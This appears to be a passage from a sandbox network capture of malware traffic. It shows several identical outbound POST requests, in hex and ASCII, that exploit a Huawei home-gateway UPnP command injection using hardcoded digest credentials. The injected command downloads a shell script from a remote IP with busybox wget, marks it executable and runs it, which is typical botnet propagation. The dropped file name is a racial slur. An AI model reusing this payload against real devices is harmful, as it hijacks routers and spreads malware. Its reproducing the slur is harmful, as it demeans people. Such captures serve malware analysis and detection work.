Feb 19, 2024 18:36:03.087748051 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:11.790687084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.220077038 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.031287909 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	55528	31.136.207.210	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.704556942 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.248785019 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.368622065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.736429930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:03.343656063 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
